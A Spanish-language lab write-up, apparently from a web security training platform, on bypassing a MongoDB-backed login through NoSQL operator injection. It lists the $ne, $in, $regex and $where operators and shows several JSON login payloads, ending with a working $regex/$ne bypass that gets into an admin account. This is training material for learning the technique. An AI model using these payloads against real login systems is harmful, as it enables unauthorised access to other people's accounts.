💼Laboratorio: Exploiting NoSQL operator injection to bypass authentication

Bueno ya sabemos que la BD es mongoDB, yo nos ahorró mucho tiempo el lab, además sabemos que es vulnerable a la auth de login con un bypass, así que esto es necesario:

  • $whereCoincide con documentos que satisfacen una expresión de JavaScript.

  • $neCoincide con todos los valores que no son iguales a un valor especificado.

  • $inCoincide con todos los valores especificados en un array.

  • $regexSelecciona los documentos en los que los valores coinciden con una expresión regular especificada.

Alguno de esos operadores usaré, porque seguramente la petición POST de login seguro usará algun JSON → Posible payload

{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}

Como lo supuse, en JSON se envía el body de la request POST.

{"username":"wiener","password":"peter"}
//lo reemplazaré por esto: 
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$in":["admin","","invalid"]}}
{"username":{"$in":["administrator","admin","superadmin"]},"password":{"$in":["Invalid username or password","","invalid"]}}
{"username":"administrator","password":{"$ne":"invalid"}}
{"username":"administrator","password":{"$ne":invalid}}
{"username":"wiener","password":{"$ne":null}}

Así me funciona para wiener pero con administrator no funciona ni un poco.

Con una expresión regular si que funciona, haberlo pensado antes no?

{"username": {"$regex":"admin*"}, "password": {"$ne": null}}
{"username": {"$regex":"admin*"}, "password": {"$ne": "bicitetas23"}}
"ne" es not equal. 

Si no me había funcionado con ese poco de posibles usernames, tocaba tirar algo más certero, con un regex admin todo lo demás pa’ lante, y password en null

Pa’ la proxima ya tanta vaina, enfocado en una expresion regular, easy, sale pa pintura, porque el username de admin era admin2nonau0 ¿cuando iba a encontrar ese hijuemadre? nunca

Last updated